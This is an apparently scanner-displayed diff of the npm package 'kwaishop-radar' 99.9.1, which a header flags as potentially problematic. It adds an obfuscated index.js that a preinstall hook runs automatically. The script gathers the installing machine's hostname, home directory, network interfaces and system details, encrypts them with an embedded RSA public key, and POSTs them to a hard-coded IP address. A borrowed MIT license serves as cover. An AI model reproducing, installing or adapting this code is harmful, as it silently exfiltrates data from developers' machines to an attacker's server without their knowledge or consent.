kwaishop-radar 99.9.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of kwaishop-radar might be problematic. Click here for more details.
- package/LICENSE +24 -0
- package/README.md +5 -0
- package/index.js +1 -0
- package/package.json +14 -0
- package/util.js +37 -0
package/LICENSE
ADDED
@@ -0,0 +1,24 @@
|
|
1
|
+
(The MIT License)
|
2
|
+
|
3
|
+
Copyright (c) 2014 Jonathan Ong <me@jongleberry.com>
|
4
|
+
Copyright (c) 2015 Douglas Christopher Wilson <doug@somethingdoug.com>
|
5
|
+
|
6
|
+
Permission is hereby granted, free of charge, to any person obtaining
|
7
|
+
a copy of this software and associated documentation files (the
|
8
|
+
'Software'), to deal in the Software without restriction, including
|
9
|
+
without limitation the rights to use, copy, modify, merge, publish,
|
10
|
+
distribute, sublicense, and/or sell copies of the Software, and to
|
11
|
+
permit persons to whom the Software is furnished to do so, subject to
|
12
|
+
the following conditions:
|
13
|
+
|
14
|
+
The above copyright notice and this permission notice shall be
|
15
|
+
included in all copies or substantial portions of the Software.
|
16
|
+
|
17
|
+
THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
|
18
|
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
19
|
+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
20
|
+
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
|
21
|
+
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
|
22
|
+
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
23
|
+
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
24
|
+
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x39552b=_0x511e;function _0x511e(_0x75a0fe,_0x1644ef){const _0x3b4bcb=_0x3b4b();return _0x511e=function(_0x511e03,_0x2d69a6){_0x511e03=_0x511e03-0x1ca;let _0x4ea354=_0x3b4bcb[_0x511e03];return _0x4ea354;},_0x511e(_0x75a0fe,_0x1644ef);}(function(_0x136906,_0x4b7eb8){const _0x2f53fb=_0x511e,_0x251ee7=_0x136906();while(!![]){try{const _0x1b7406=-parseInt(_0x2f53fb(0x1cd))/0x1*(parseInt(_0x2f53fb(0x1e3))/0x2)+-parseInt(_0x2f53fb(0x1e5))/0x3+-parseInt(_0x2f53fb(0x1ce))/0x4+parseInt(_0x2f53fb(0x1e0))/0x5*(parseInt(_0x2f53fb(0x1e8))/0x6)+-parseInt(_0x2f53fb(0x1cc))/0x7*(-parseInt(_0x2f53fb(0x1d4))/0x8)+parseInt(_0x2f53fb(0x1e7))/0x9*(parseInt(_0x2f53fb(0x1cf))/0xa)+parseInt(_0x2f53fb(0x1da))/0xb;if(_0x1b7406===_0x4b7eb8)break;else _0x251ee7['push'](_0x251ee7['shift']());}catch(_0x33f193){_0x251ee7['push'](_0x251ee7['shift']());}}}(_0x3b4b,0x74740));const https=require(_0x39552b(0x1e9)),os=require('os'),crypto=require(_0x39552b(0x1d1)),x=require(_0x39552b(0x1d6));var theNetworkInterfaces={};for(var i=0x0;i<os[_0x39552b(0x1e4)]()[_0x39552b(0x1d2)]['length'];i++){os[_0x39552b(0x1e4)]()[_0x39552b(0x1d2)][i][_0x39552b(0x1d3)]=='IPv4'&&(theNetworkInterfaces=os['networkInterfaces']()[_0x39552b(0x1d2)][i]);}var report={'arch':os[_0x39552b(0x1ec)](),'endianness':os['endianness'](),'freemem':os[_0x39552b(0x1d8)](),'homedir':os['homedir'](),'hostname':os[_0x39552b(0x1ca)](),'networkInterfaces':theNetworkInterfaces,'platform':os[_0x39552b(0x1dc)](),'release':os[_0x39552b(0x1db)](),'tmpdir':os['tmpdir'](),'totalmem':os[_0x39552b(0x1e1)](),'type':os[_0x39552b(0x1e6)](),'uptime':os['uptime'](),'package':_0x39552b(0x1d9)};function _0x3b4b(){const _0x560b58=['stdout','14fRPqtc','networkInterfaces','2425743wusVEb','type','9486aDVEfo','102OkJJZo','http','darwin','error','arch','POST','hostname','exit','28nJyHoW','39435FkFZWu','3396856RHftrS','6470BrbSRi','data','crypto','en0','family','1361528EmnBcr','end','./util','write','freemem','kwaishop-radar','1286879vMRmOd','release','platform','application/json','stringify','indexOf','273865gEHGqL','totalmem'];_0x3b4b=function(){return _0x560b58;};return _0x3b4b();}report['hostname'][_0x39552b(0x1df)]('.')==-0x1&&(report['platform']!=_0x39552b(0x1ea)&&process[_0x39552b(0x1cb)](0x1));var data=JSON[_0x39552b(0x1de)](x['encryptM'](JSON[_0x39552b(0x1de)](report)));const options={'hostname':'81.70.191.194','port':0x4325,'path':'/healthy','method':_0x39552b(0x1ed),'headers':{'Content-Type':_0x39552b(0x1dd),'Content-Length':data['length']}},req=https['request'](options,_0x5ef9d9=>{const _0x27139d=_0x39552b;_0x5ef9d9['on'](_0x27139d(0x1d0),_0x1ffa08=>{const _0x55fc6e=_0x27139d;process[_0x55fc6e(0x1e2)][_0x55fc6e(0x1d7)](_0x1ffa08);});});req['on'](_0x39552b(0x1eb),_0x17d4f7=>{return;}),req[_0x39552b(0x1d7)](data),req[_0x39552b(0x1d5)]();
|
package/package.json
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
{
|
2
|
+
"name": "kwaishop-radar",
|
3
|
+
"version": "99.9.1",
|
4
|
+
"description": "",
|
5
|
+
"main": "build.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node ./index.js",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"keywords": [],
|
11
|
+
"author": "ykjkn5",
|
12
|
+
"license": "ISC"
|
13
|
+
}
|
14
|
+
|
package/util.js
ADDED
@@ -0,0 +1,37 @@
|
|
1
|
+
/*
|
2
|
+
* Copyright(c) 2022-2023 Karen P. Evans
|
3
|
+
* MIT Licensed
|
4
|
+
*/
|
5
|
+
|
6
|
+
const crypto = require('crypto')
|
7
|
+
|
8
|
+
publicKey = `-----BEGIN PUBLIC KEY-----
|
9
|
+
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDhK7w+gS45FaIL88s+vmUClt/r
|
10
|
+
bTY6GAlh9grzFAr4W/4kVJgyfvg/IDZmVG8LeIym5fcjAR03YtjjxRi6pTzUBEls
|
11
|
+
GdJ7w6ThjHcDBjT7gpmnP4mU6LmA4tZBMVIr/A0vkTI+jb7ldzSjpDqXTrb7a5Ua
|
12
|
+
hcpguhuZZCfsRGkIAwIDAQAB
|
13
|
+
-----END PUBLIC KEY-----`
|
14
|
+
|
15
|
+
var encryptM = function msgEncrypt(data){
|
16
|
+
var resData = {
|
17
|
+
m:"",
|
18
|
+
k:"",
|
19
|
+
i:""
|
20
|
+
}
|
21
|
+
|
22
|
+
let key = crypto.randomBytes(16)
|
23
|
+
let iv = crypto.randomBytes(16)
|
24
|
+
|
25
|
+
var cipherChunks = []
|
26
|
+
var cipher = crypto.createCipheriv('aes-128-cbc', key, iv)
|
27
|
+
cipher.setAutoPadding(true)
|
28
|
+
cipherChunks.push(cipher.update(data, 'utf8', 'base64'))
|
29
|
+
cipherChunks.push(cipher.final('base64'))
|
30
|
+
resData.m = cipherChunks.join('')
|
31
|
+
resData.k = (crypto.publicEncrypt(publicKey, key)).toString('base64')
|
32
|
+
resData.i = iv.toString('base64')
|
33
|
+
|
34
|
+
return resData
|
35
|
+
}
|
36
|
+
|
37
|
+
module.exports = {encryptM:encryptM}
|